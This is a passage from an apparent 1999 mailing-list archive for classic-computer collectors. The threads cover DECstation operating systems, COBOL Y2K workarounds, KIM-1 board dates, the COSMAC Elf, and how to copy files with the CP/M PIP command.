motel, and they say that it's $60/night, and he said he'd be staying for two nights, this one included. The person behind the cash register annonces that it'll be $150. Then he objects: $60*2 is CLEARLY not $150. Then the register explains that that's what the computer SAID it was. So he calls out the manager, who looks at it, then takes $30 off. Why did it do that? No one knows. But it happened, and the register was stupid enough to believe it. > Philip. Tim From pechter at monmouth.com Fri Jan 8 20:13:51 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:53 2005 Subject: DECstation 5000/125 In-Reply-To: <032101be3b67$7933c9e0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at "Jan 8, 99 04:31:59 pm" Message-ID: <199901090213.VAA04144@pechter.ddns.org> > Seth, Doug, > > Thanks, you're right, I'm confused. Looks like I'll track down NetBSD for my > DECstation, and look into buying a VAXstation 3100 at some point. > > Thanks again, > > - Joe > > > > If you're looking for a VAXstation let me know. Bill " ... Overall we've found FreeBSD to excel in performace, stability, technical support, and of course price. Two years after discovering FreeBSD, we have yet to find a reason why we switch to anything else" > -David Filo, Yahoo! From healyzh at aracnet.com Fri Jan 8 20:20:45 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:53 2005 Subject: new to the list In-Reply-To: References: Message-ID: Great list :^) > 1) Nostalgia! I used to have/use one! Why oh why did I ever get rid of my VIC-20 :^( > 2) Revenge! I couldn't afford one when new, now I can! Bwah hah hah :^) > 5) Beanie Mania! I don't have this model in this color! Here in lies the path to madness, or at least no storage space. > 6) Fun! I can't afford a real hobby! Um, get rid of this hobby and you could probably afford 3 others :^) > 7) Furniture! And it makes a great coffee table! Number 7?!?!?!? Give me a break, there is no better coffee table than a BA123, unless it's perhaps some of the IBM RS/6000's (and that's all they're good for) One of the items should have been: To play with all the cool OS's out there on the hardware they were meant to run on! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From dann at greycat.com Fri Jan 8 19:53:59 1999 From: dann at greycat.com (Dann Lunsford) Date: Sun Feb 27 18:39:53 2005 Subject: y2k stuff In-Reply-To: <3.0.16.19990108142326.43776238@ricochet.net> Message-ID: <199901090219.SAA29193@mxu4.u.washington.edu> In <3.0.16.19990108142326.43776238@ricochet.net>, on 01/08/99 at 07:04 PM, Uncle Roger said: >At 11:48 PM 1/4/99 -0500, you wrote: >> o *DATA* - what about all those data files which have been >> recorded over the years? What form was date stored? >Working on a work-around at the moment wherein we need to store 5 digit >numbers, but the database (deployed at nearly 400 stores around the >western US) has only 2 bytes for this field. Unfortunately, COBOL only >allows values up to 9999 to be stored in a two byte field, even though 2 >bytes can (in theory) hold numbers from 0 to 65535 (or -32766 to 32767 or >so). Ummm, it's been years (thank goodness!), but ISTR that there are a couple of declarations that allow binary to be used. USAGE IS COMPUTATIONAL comes to mind. Hold on, gotta peruse L-space.... Yup, that's it. COMP fields are binary. 2 byte signed on VAX COBOL, no idea on your system. But there are several types of COMP, so maybe you've got a variant that would work. Even if not, you can do some seriously warped stuff with REDEFINES to get accesses to the *bit* level in COBOL, so that two byte field can stay two bytes. Gaaahhhhh..... I was hoping I had recovered.... *sob* -- Dann Lunsford * The only thing necessary for the triumph of evil * dann@greycat.com * is that men of good will do nothing. -- Cicero * You've got to kick the darkness till it bleeds daylight... From kyrrin at bluefeathertech.com Fri Jan 8 20:20:56 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:39:53 2005 Subject: DECstation 5000/125 In-Reply-To: References: <02ea01be3b62$a1421950$11d53d9d@JOEBAR> Message-ID: <3.0.5.32.19990108182056.00933ce0@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 905 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990108/a3cb70f5/attachment.bin From netcafe at pirie.mtx.net.au Fri Jan 8 20:23:11 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:53 2005 Subject: Y2K stuff Message-ID: <01be3b77$00fbc6c0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Uncle Roger To: Discussion re-collecting of classic computers Date: Saturday, 9 January 1999 9:36 Subject: Re: Y2K stuff >At 05:33 PM 1/4/99 -0700, you wrote: >snip< >An unrelated but similar (and ironically timed) issue is that of the new US >20 dollar bills. I have seen a lot of vending machines/gas pumps/etc. that >indicate they cannot handle the new bills. Are they polymer rather than paper like all ours are now? >The problem is, bills typically last 18 months at most. The plastic stuff lasts somewhat longer, one reason why they now use it here. To save money, the govt withdrew all coins below 5c, we now have $1 & $2 coins, and notes for $5, $10, $20, $50 & $100, all plastic with fancy printing and a transparent window. Near impossible to counterfeit. (Which is the other reason it was done) Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From rcini at msn.com Fri Jan 8 18:16:07 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:39:53 2005 Subject: KIM-1 Computer Message-ID: <000601be3b79$9a043080$e0e5fea9@mainoffice> I just checked my two KIMs for dates. Here's what I have: Board#1: Labeled "Rev. A", oldest chip date 5276 (Dec 76); white numbers on back "2788". The 6502 is a white ceramic DIP with a "3776" date code. Board#2: Labeled "Rev. B", oldest chip date 4276 (Oct 76); white numbers on back "5895". The 6502 is a white ceramic DIP with a "3776" date code. Small tag says that the 6502 has been replaced. [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From dastar at ncal.verio.com Fri Jan 8 20:43:46 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:54 2005 Subject: So OffTopic it HURTS->Re: Americans (was: Re: Message formats) In-Reply-To: <3696B667.46ED7DB4@idirect.com> Message-ID: On Fri, 8 Jan 1999, Jerome Fine wrote: > P.P.S. Considering that this is in the message formats thread > which discussed the human topic, maybe it is not so far off? No, its pretty much as off-topic as it gets. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Fri Jan 8 21:10:09 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! Message-ID: Hey, check this out! I was just watching Jeopardy and the first contestant said he was a collector of antique computers! Alex asked him what his oldest computer was and he said it was the first one he ever owned, which was a kit he bought thru Popular Science for $99. His name was Dennis. Is there a Dennis lurking on this list?? :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From yowza at yowza.com Fri Jan 8 21:18:56 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: Message-ID: On Fri, 8 Jan 1999, Sam Ismail wrote: > Hey, check this out! I was just watching Jeopardy and the first > contestant said he was a collector of antique computers! Alex asked him > what his oldest computer was and he said it was the first one he ever > owned, which was a kit he bought thru Popular Science for $99. His name > was Dennis. Is there a Dennis lurking on this list?? :) And the answer is: this computer kit was offered in Popular Science for $99. What is the Sinclair ZX81? -- Doug From dastar at ncal.verio.com Fri Jan 8 21:27:21 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: Message-ID: On Fri, 8 Jan 1999, Sam Ismail wrote: > Hey, check this out! I was just watching Jeopardy and the first > contestant said he was a collector of antique computers! Alex asked him > what his oldest computer was and he said it was the first one he ever > owned, which was a kit he bought thru Popular Science for $99. His name > was Dennis. Is there a Dennis lurking on this list?? :) Dennis Thibodeaux. He lost. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From cmcmanis at freegate.com Fri Jan 8 21:35:48 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: Message-ID: <4.1.19990108193424.00a0bdf0@208.226.86.10> At 07:10 PM 1/8/99 -0800, you wrote: > ... he said it was the first one he ever >owned, which was a kit he bought thru Popular Science for $99. His name >was Dennis. Is there a Dennis lurking on this list?? :) And the computer was .... You guessed it the COSMAC Elf! And IIRC, the article was "Build a COSMAC Elf for Less than $100" Anyone got the issue date? --Chuck From marvin at rain.org Thu Jan 7 21:34:24 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:54 2005 Subject: KIM-1 Computer References: <000601be3b79$9a043080$e0e5fea9@mainoffice> Message-ID: <36957CC0.7D3BE42F@rain.org> We are getting quite a collection of serial numbers now, and this is great! Does anyone know if this was available as a kit? Just curious. Richard A. Cini, Jr. wrote: > > I just checked my two KIMs for dates. Here's what I have: > > Board#1: Labeled "Rev. A", oldest chip date 5276 (Dec 76); white numbers > on back "2788". The 6502 is a white ceramic DIP with a "3776" date code. > > Board#2: Labeled "Rev. B", oldest chip date 4276 (Oct 76); white numbers > on back "5895". The 6502 is a white ceramic DIP with a "3776" date code. > Small tag says that the 6502 has been replaced. > > [ Rich Cini/WUGNET > [ ClubWin!/CW7 > [ MCP Windows 95/Windows Networking > [ Collector of "classic" computers > [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ > [ http://highgate.comm.sfu.ca/~rcini/pdp11/ > <================ reply separator =================> From marvin at rain.org Thu Jan 7 21:47:37 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:54 2005 Subject: Y2K Test Program References: <199901081821.KAA30772@oa.ptloma.edu> Message-ID: <36957FD9.DE824D0E@rain.org> As long as we are off topic, some of you might be interested in a Y2K testing program called YMARK2000 available at http://www.nstl.com/. Basically, it tests for proper rolloever, manual setting of date to 2000, and leapyears. From dpeschel at u.washington.edu Fri Jan 8 21:47:43 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: Americans (was: Re: Message formats) In-Reply-To: <3696B667.46ED7DB4@idirect.com> from "Jerome Fine" at Jan 8, 99 08:52:40 pm Message-ID: <199901090347.TAA04584@saul4.u.washington.edu> > Jerome Fine replies: > I think this thread is not appropriate - it is too old - and likely will not > change. Human nature seems mostly to be to believe what we want > to hear rather than to listen to what is being said and then try and figure > out what will actually happen or what the truth actually is. > P.P.S. Considering that this is in the message formats thread > which discussed the human topic, maybe it is not so far off? This discussion is getting rather voluminous and off-topic. At least there was a genuine attempt to bring the Y2K thread back on topic (by talking about COBOL pitfalls and workarounds). And if you knew this was off-topic, why did you bother to reply? (If that's not what you meant by "this thread is not appropriate", sorry if I misunderstood.) -- Derek From thompson at athenet.net Fri Jan 8 22:04:43 1999 From: thompson at athenet.net (Paul Thompson) Date: Sun Feb 27 18:39:54 2005 Subject: DECstation 5000/125 In-Reply-To: <3.0.5.32.19990108182056.00933ce0@mail.bluefeathertech.com> Message-ID: netBSD has only been incompletely ported to the MIPS product line. There still is no netBSD for a DECsystem 5400 or 5500. Paul On Fri, 8 Jan 1999, Bruce Lane wrote: > At 18:11 08-01-1999 -0600, you wrote: > > > >On Fri, 8 Jan 1999, Joseph S. Barrera III wrote: > > > > > >> Does anyone know how/where/if I can get VMS loaded onto this guy? > > > > > >I'm confused. VMS for a DECstation? Don't you need a VAXstation for > > >that? Or was VMS ported to MIPS? > > > Actually, NetBSD has been ported to the DECStations. It would > be, IMO, a lot nicer to deal with than VMS (which, as far as I know, was > never ported to the MIPS processor line). > > > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > > Bruce Lane, Owner and head honcho, Blue Feather Technologies > > http://www.bluefeathertech.com > > Amateur Radio:(WD6EOS) E-mail: kyrrin@bluefeathertech.com > > SysOp: The Dragon's Cave (Fido 1:343/272, 253-639-9905) > > "Our science can only describe an object, event, or living thing in our > own human terms. It cannot, in any way, define any of them..." > From musicman38 at mindspring.com Fri Jan 8 10:50:31 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question References: <3.0.16.19990106161657.5fd71b8a@ricochet.net> Message-ID: <36963757.E687B8BB@mindspring.com> Can someone tell me the CP/M command to copy a single file or program on my Kaypro from drive B: to drive A: I do not want to copy the whole disk just a single file or two.. Thanks, Phil... From rws at eagle.ais.net Fri Jan 8 22:45:23 1999 From: rws at eagle.ais.net (rws) Date: Sun Feb 27 18:39:54 2005 Subject: FREE Kaypro II in Baltimore Message-ID: <199901090445.WAA21940@eagle.ais.net> Janet Morehouse in Baltimore has a Kaypro II that she is willing to give away to whoever wants to come and pick it up. Whoever's local, give her a jingle at MorehouseJ@dhmh.state.md.us. Richard Schauer rws@ais.net From fauradon at pclink.com Fri Jan 8 23:06:55 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! Message-ID: <001101be3b8d$e0eb5820$381bfea9@francois> >You guessed it the COSMAC Elf! And IIRC, the article was "Build a COSMAC >Elf for Less than $100" >Anyone got the issue date? August 1976 "for about $80" CDP1802 64K addressable On chip DMA 16X16 matrix of registers Flexible I/O Francois > >--Chuck > From dastar at ncal.verio.com Fri Jan 8 23:04:48 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:54 2005 Subject: KayPro still in business! Message-ID: Hey, check this out! KayPro is still in business: www.kaycomputers.com Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dpeschel at u.washington.edu Fri Jan 8 23:07:20 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <36963757.E687B8BB@mindspring.com> from "Phil Clayton" at Jan 8, 99 11:50:31 am Message-ID: <199901090507.VAA32253@saul7.u.washington.edu> > Can someone tell me the CP/M command to copy a single file or program > on my Kaypro from drive B: to drive A: > I do not want to copy the whole disk just a single file or two.. > Thanks, Phil... PIP A:=B:filename Yes, the source comes AFTER the destination. Think of assignment statements in programming languages. You can use wildcards * and ? to specify the file on B:. They work the same way as in DOS (unfortunately). If you specify one file on B:, you can give it a different name on A: by adding the name before the equals sign. -- Derek From yowza at yowza.com Fri Jan 8 23:07:52 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:54 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <001101be3b8d$e0eb5820$381bfea9@francois> Message-ID: On Fri, 8 Jan 1999, Chuck and Francois wrote: > >You guessed it the COSMAC Elf! And IIRC, the article was "Build a COSMAC > >Elf for Less than $100" > >Anyone got the issue date? > > August 1976 "for about $80" Are you guys sure? I'm almost positive that was in Popular Electronics, and not Popular Science! I still say it was the ZX81. What do I win, Alex? -- Doug From donm at cts.com Fri Jan 8 23:36:22 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <36963757.E687B8BB@mindspring.com> Message-ID: On Fri, 8 Jan 1999, Phil Clayton wrote: > Can someone tell me the CP/M command to copy a single file or program > on my Kaypro from drive B: to drive A: > I do not want to copy the whole disk just a single file or two.. > Thanks, Phil... PIP a:=b:filename.ext[ov] - [ov] specifies 'object' and 'verify'. - don From donm at cts.com Fri Jan 8 23:40:01 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:54 2005 Subject: KayPro still in business! In-Reply-To: Message-ID: On Fri, 8 Jan 1999, Sam Ismail wrote: > > Hey, check this out! KayPro is still in business: > > www.kaycomputers.com Well, not actually. To the best of my knowledge, they are not manufacturing anything. Just putting together custom clones. But the Kay filks are definitely involved. - don > Sellam Alternate e-mail: dastar@siconic.com > ------------------------------------------------------------------------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 12/27/98] > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From musicman38 at mindspring.com Fri Jan 8 12:13:56 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question References: <199901090507.VAA32253@saul7.u.washington.edu> Message-ID: <36964AE4.3416EBBA@mindspring.com> > Can someone tell me the CP/M command to copy a single file or program > on my Kaypro from drive B: to drive A: > I do not want to copy the whole disk just a single file or two.. > Thanks, Phil... > PIP A:=B:filename > Yes, the source comes AFTER the destination. Think of assignment statements > in programming languages. > You can use wildcards * and ? to specify the file on B:. They work the same > way as in DOS (unfortunately). If you specify one file on B:, you can give > it a different name on A: by adding the name before the equals sign. > -- Derek Derek, Thanks for the help it worked perfectly.It does seem alittle backwards though after using the DOS copy command for so long.. I actually looked up this command in the Kaypro manual, but did not find anything, its very difficult to find anything in it, and also no pictures either.. !! Maybe someone should write a book called "CP/M for Dummies" with lots of Pictures and illustrations... Phil... From dpeschel at u.washington.edu Sat Jan 9 00:14:30 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <36964AE4.3416EBBA@mindspring.com> from "Phil Clayton" at Jan 8, 99 01:13:56 pm Message-ID: <199901090614.WAA09476@saul4.u.washington.edu> > Derek, Thanks for the help it worked perfectly.It does seem alittle backwards > though after using the DOS copy command for so long.. You're welcome. Don Maslin posted another reply with some options I missed. You may need to use them in some cases. Add [ov] (including the square brackets) after the PIP command. The syntax is wierd but that's the way DEC did it in all of their operating systems, which CP/M is based on. (Actually, they use the underscore which according to the pre-1968 (?) version of ASCII looked like a leftward-pointing arrow.) > I actually looked up this command in the Kaypro manual, but did not find > anything, its very difficult to find anything in it, and also no pictures > either.. !! There are other comprehensive books out there. I have one especially good one which I think is called _The CP/M Handbook_. If you want to get the most out of the Kaypro, you should do four things: - Read the manual or find a better book. There are't that many commands but one command may do several things. - Get the FAQ for comp.os.cpm. It doesn't explain everything but it has useful information about certain topics (like uncompressing compressed files). - Get a communications program if you don't have one. SUPERTERM (included on the Kaypro CP/M disk) is lousy. MITE is much better. MEX is apparently good but I haven't set it up. Don will send you MEX on disk for $8. - Look at the archive at http://oak.oakland.edu and download all of the cool software there. There are file maintenance programs and practically everything else you might want, as long as it's not commercial. -- Derek From gram at cnct.com Sat Jan 9 00:21:37 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list References: Message-ID: <3696F571.2F49EF85@cnct.com> Doug Yowza wrote: > Ah, the voice of reason. Now all you need to do is write a couple of > books, produce a few TV documentaries, cut out Bill Gate's tongue, and we > can finally put this Altair nonsense behind us. But give the Scelbi 8H > some credit, will ya? Does anybody outside this list even have a clue how much Gates owes (no finance involved) to Kemmeny and Kurtz? Without them, how would he have started his "career"? -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From musicman38 at mindspring.com Fri Jan 8 12:32:05 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:39:54 2005 Subject: Where is Adam Osborne & Alan Kay ? References: Message-ID: <36964F25.9EB078DE@mindspring.com> Don Maslin wrote: > On Fri, 8 Jan 1999, Sam Ismail wrote: > > Hey, check this out! KayPro is still in business: > > www.kaycomputers.com > > Well, not actually. To the best of my knowledge, they are not > manufacturing anything. Just putting together custom clones. But > the Kay filks are definitely involved. > - don > Well now that we are on the subject of Kaypro...What ever happened to Alan Kay ? Is this guy still around ? And what about Adam Osborne ? Phil.. From gram at cnct.com Sat Jan 9 00:31:11 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list References: Message-ID: <3696F7AF.380E3094@cnct.com> Zane H. Healy wrote: > Number 7?!?!?!? Give me a break, there is no better coffee table than a > BA123, unless it's perhaps some of the IBM RS/6000's (and that's all > they're good for) Zane, where do you live? Bill Donzelli and I need to make an appointment to come out and hurt you. > | Zane H. Healy | UNIX Systems Adminstrator | > | healyzh@aracnet.com (primary) | Linux Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | In over 15 years of Unix sysadmining, AIX is the one with the best tools I've found from a commercial supplier -- if somebody was to port SMIT to Linux, my life would approach perfection. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From dpeschel at u.washington.edu Sat Jan 9 00:32:12 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: <3696F571.2F49EF85@cnct.com> from "Ward Donald Griffiths III" at Jan 9, 99 01:21:37 am Message-ID: <199901090632.WAA11312@saul4.u.washington.edu> > Does anybody outside this list even have a clue how much Gates owes > (no finance involved) to Kemmeny and Kurtz? Without them, how would > he have started his "career"? Well, if you hypothetically eliminated BASIC, you wouldn't just change Microsoft, you would change the entire '70s computer industry. There is a certain joy in supposing that Microsoft (a minor embedded-systems and assembly-language development company) didn't survive the "commodity computer wars" of the early to mid 80's. Who's to say that someone else wouldn't be just as nasty, though? Let's be generous and say that everything else worked out pretty much the same way (including _Dr. Dobbs_, the beginning of the personal-computer movement, and the "languages for everbody" mentality). I think Microsoft would have found something else to do. There were other computer languages they could have ripped off (even sitting on their own PDP-10 system). There were even other SIMPLE languages they could have used. Frankly, though, the idea of Microsoft Visual JOSS *does* scare me a little. -- Derek From donm at cts.com Sat Jan 9 00:34:04 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <199901090614.WAA09476@saul4.u.washington.edu> Message-ID: On Fri, 8 Jan 1999, D. Peschel wrote: > > Derek, Thanks for the help it worked perfectly.It does seem alittle backwards > > though after using the DOS copy command for so long.. > > You're welcome. > > Don Maslin posted another reply with some options I missed. You may need to > use them in some cases. Add > > [ov] I don't recall how I showed it, but there must not be a space after the file extension and the '['. Otherwise you get an error. > (including the square brackets) after the PIP command. The syntax is wierd > but that's the way DEC did it in all of their operating systems, which CP/M > is based on. (Actually, they use the underscore which according to the > pre-1968 (?) version of ASCII looked like a leftward-pointing arrow.) > > > I actually looked up this command in the Kaypro manual, but did not find > > anything, its very difficult to find anything in it, and also no pictures > > either.. !! > > There are other comprehensive books out there. I have one especially good > one which I think is called _The CP/M Handbook_. > > If you want to get the most out of the Kaypro, you should do four things: > > - Read the manual or find a better book. There are't that many > commands but one command may do several things. > > - Get the FAQ for comp.os.cpm. It doesn't explain everything but > it has useful information about certain topics (like uncompressing > compressed files). > > - Get a communications program if you don't have one. SUPERTERM > (included on the Kaypro CP/M disk) is lousy. MITE is much better. > MEX is apparently good but I haven't set it up. Don will send you > MEX on disk for $8. It has one virtue. It is good for downloading MEX! Oh, and it's only $3. - don > - Look at the archive at http://oak.oakland.edu and download all of > the cool software there. There are file maintenance programs and > practically everything else you might want, as long as it's not > commercial. > > -- Derek > From donm at cts.com Sat Jan 9 00:37:10 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:54 2005 Subject: Where is Adam Osborne & Alan Kay ? In-Reply-To: <36964F25.9EB078DE@mindspring.com> Message-ID: On Fri, 8 Jan 1999, Phil Clayton wrote: > Don Maslin wrote: > > > Well, not actually. To the best of my knowledge, they are not > > manufacturing anything. Just putting together custom clones. But > > the Kay filks are definitely involved. > > - don > > > > Well now that we are on the subject of Kaypro...What ever happened to Alan Kay ? > Is this guy still around ? You mean Andy Kay? Yes, he is still around. > And what about Adam Osborne ? I think so, but have heard nothing of him in quite a while. - don > Phil.. > > > From dpeschel at u.washington.edu Sat Jan 9 00:38:31 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: from "Don Maslin" at Jan 8, 99 10:34:04 pm Message-ID: <199901090638.WAA12006@saul4.u.washington.edu> > It has one virtue. It is good for downloading MEX! > > Oh, and it's only $3. oops.... $8 was the total of my own disk order from Don, but it contained several disks (WordStar, CP/M, MEX, etc.). -- Derek From gram at cnct.com Sat Jan 9 00:52:30 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list References: <199901090036.SAA22146@wildride.netads.com> Message-ID: <3696FCAE.AE162C15@cnct.com> Miles O'Neal wrote: > But beyond that, the ones I used never broke. They just didn't. > Oh, they glitched out occasionally, and you had to reboot, but what > didn't? For that matter, today, what Micro-based OS (besides BSD > and Linux) won't? Actually, if you forget to exit and restart Netscape every few days, there's apparently a minor memory leak that will screw up Linux, at least as far as my experience is with several Linux distributions (updating them occasionally) and several releases of Netscape go -- as the machines without it running don't have the same problem, my Samba server having rebooted four times in three years only when the power company screwed up. (Hey, Samba was a bitch to get working -- once it worked, I haven't touched anything except the files to nfsmount volumes and share them to my wife's [what, you think I _wanted_ to waste my old 386/25 as a server to] Windows systems.) Perhaps the Linux version of Internet Explorer won't have this problem. :-)} -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From joe at barrera.org Sat Jan 9 00:47:33 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:39:54 2005 Subject: Alan/Andy Kay Message-ID: <008f01be3b9b$f22233d0$11d53d9d@JOEBAR> > > Well now that we are on the subject of Kaypro...What ever happened to Alan Kay ? > > Is this guy still around ? > You mean Andy Kay? Yes, he is still around. Alan Kay is also still around and quite active in the Squeak community, Squeak being a portable revival of Smalltalk. He's now at Disney, believe it or not. Which leads to the question... anyone on this list have any Xerox Stars (running Smalltalk, of course)? Cheers, - Joe ----- Original Message ----- From: Alan Kay To: Sent: Saturday, January 02, 1999 4:51 PM Subject: Re: How difficult is multiple inheritance? >Folks -- > >There is a cooler and most interesting way to approach all this. Much of >the seminal work was done around the late 70s in PARC Smalltalk by Ira >Goldstein and Danny Bobrow -- it was called PIE: Personal Information >Environment -- and they have been written up as PARC Blue Books (as noted >by Mike Klein previously to the Squeak list) ; *and* they can sometimes be >obtained from PARC. > The basic idea is to have an object made up of multiple perspectives >e.g. a given object could have the perspectives of being an employer, an >employee, a father, a son, etc., *and* the perspective of being an object. >The internal representational strategy they used was to let a logical >object be made of as many Smalltalk instances as were needed, especially if >the perspectives were disjoint enough to give fits to simple-minded >mulitple inheritance schemes. > >I have been a big fan of this general approach since Goldstein got it >running. There are also a wealth of other terrific ideas in their papers. > >Cheers, > >Alan From meo at netads.com Sat Jan 9 00:58:19 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: Stupid CP/M question In-Reply-To: <36964AE4.3416EBBA@mindspring.com> from "Phil Clayton" at Jan 8, 99 01:13:56 pm Message-ID: <199901090658.AAA23344@wildride.netads.com> Phil Clayton said... | |Maybe someone should write a book called "CP/M for Dummies" with lots of |Pictures and illustrations... And print up and bind one copy, with a copyright date of 1980, and sell it on eBay for scads of money! -Miles From meo at netads.com Sat Jan 9 01:01:24 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:54 2005 Subject: Sociology and Message formatting In-Reply-To: from "Tony Duell" at Jan 8, 99 11:02:39 pm Message-ID: <199901090701.BAA23368@wildride.netads.com> Tony Duell said... | |The copyright date is 1981, so it appears that at that time most schools |would have been able to use them. Oh, yeah, mimeographs were still big, then. Copiers were for places with money, and who worried about, well, quality. And keeping yourself clean. Stupid stuff, you know? My best friend was a grad student assistant, and whenever we weren't busy playing on the Cyber (or Compucolor 8^) we were making up his tests, grading them, or dup'ing them on a mimeograph. -Miles From yowza at yowza.com Sat Jan 9 00:56:57 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:54 2005 Subject: new to the list In-Reply-To: <199901090632.WAA11312@saul4.u.washington.edu> Message-ID: On Fri, 8 Jan 1999, D. Peschel wrote: > Well, if you hypothetically eliminated BASIC, you wouldn't just change > Microsoft, you would change the entire '70s computer industry. There is a Yup, Gates wasn't ripping off Kemeny and Kurtz, he was just implementing an already popular bad language that many others had implemented as well. It was even running on personal computers such as the PDP-8 and IBM 9830 well before Gates came along. > certain joy in supposing that Microsoft (a minor embedded-systems and > assembly-language development company) didn't survive the "commodity > computer wars" of the early to mid 80's. Who's to say that someone else > wouldn't be just as nasty, though? The year was 1975, and Gates doesn't exist. What does exist? The GUI. Ethernet. SmallTalk. C. Unix. In short, really good stuff that Gates wouldn't get around to asking his worker bees to implement for another 10-20 years. I find this very sad. I 